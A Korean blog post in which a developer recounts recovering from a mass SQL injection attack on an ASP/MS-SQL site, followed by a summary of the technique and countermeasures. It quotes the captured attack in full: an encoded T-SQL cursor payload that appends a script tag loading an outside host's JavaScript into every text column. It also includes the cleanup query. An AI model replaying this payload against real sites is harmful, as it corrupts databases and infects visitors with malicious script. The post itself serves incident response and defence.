본문 바로가기

db

Mass SQL Injection 공격

이번 주말 내내 SQL Injection공격으로 인하여 주말내내 시달렸다.. ㅡ,.ㅡ;
처음으로 당해보는지라.. 보안에 지극히.. 문외한이였던 나는.. 또 하나를 배웠다.

#스크립트 삽입 필드


#공격 로그 -GET(참고 : http://hacked.tistory.com/209)

/server/oops.asp seq=26&page=1&searchkey=&search_text=&category=005001;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20wHiLe(@@fEtCh_status=0)%20bEgIn%20eXeC('uPdAtE%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rTrIm(cOnVeRt(vArChAr(4000),['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F732E6172646F7368616E676861692E636F6D2F732E6A733E3C2F7363726970743E%20aS%20vArChAr(53))')%20fEtCh%20next%20FrOm%20tAbLe_CuRsoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

아래쿼리는 SQL sysobject type U(User) 모든 row를 가져와 해당 스크립트가 있는 row를 업데이트하는 쿼리다.
일단 요거가지고 해결은 할수 있으나... 공격을 더 받기 전에 ... 아래글에 대한 대응방안 처리가 시급한 지경이다.
요 몇일 데브피아도 DDOS공격으로 시달리고... 휴... 이제 서버관리 보안에 까지 신경을 써야.. 밥벌어먹고 살수 있는것인가... ㅡ,.ㅡ;

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = replace(convert(varchar(8000),['+@C+']),''<script
src=http://s.ardoshanghai.com/s.js></script>'','''')
      where ['+@C+'] like ''%<script%'''
      )
  FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

참고자료 : NSHC Mass SQL Injection 공격기법과 대응방안

Mass SQL-Injection란 SQL Injection기법보다  확장된 개념이다.

Mass라는 단어는 사전적인 의미는 대량의, 집단이라는 뜻을 가지고 있으며 즉 한번의 공격으로 대량의 DB값이 변조되어 홈페이지에 치명적인 악영향을 미친다.

일부분을 HEX인코딩 하거나 전체 HEX인코딩 하는 크게 2가지 방식이 있다.

DB값 변조시 악성 스크립트를 삽입하여 사용자들이 변조된 사이트를 방문시 감염되거나 BOT이 설치되어 사용자들의 온라인 게임 계정 해킹 및 DDOS공격에 이용이 가능하다.

공격대상은 MS-SQL을 사용하며, 공격자들은 ASP가 가동중인 IIS웹서버를 주요 공격 대상으로 한다.

피해를 당한 IIS로그를 보면 아래와 같은 로그가 기록되어있다.

공격코드를 디코딩 하면


위와 같은 쿼리가 나온다.
이 구문은 테이블에서 테이블의 SQL sysobject type U(User) 모든 row를 가져오는 것이다. 모든 컬럼을 varcher(8000)으로 형식을 바꾸고 커서를 활용하여 각 오브젝트에 http://bannerupd.com/b.js 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 일반적인 구문이다. 일반적인 구문에서 현재는 약간 변형된 형태의 공격쿼리 삽입시도도 이루어지고 있다.

대응방안
1. 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많다. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용 권고
2. SQL-Injection 취약점이 있으면 중 장기 대책으로 이에 대한 소스코드에 수정 권고
3. 입력되는 부분의 문자를 모두 제한하여 예상되는 문자 이외의 문자가 들어오면 필터링하는 방법으로 수정 필요
4. 정기적인 DB 및 시스템 백업 필요

'db' 카테고리의 다른 글

READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27
커서(CURSOR)를 TABLE변수로 변경  (1) 2008.12.29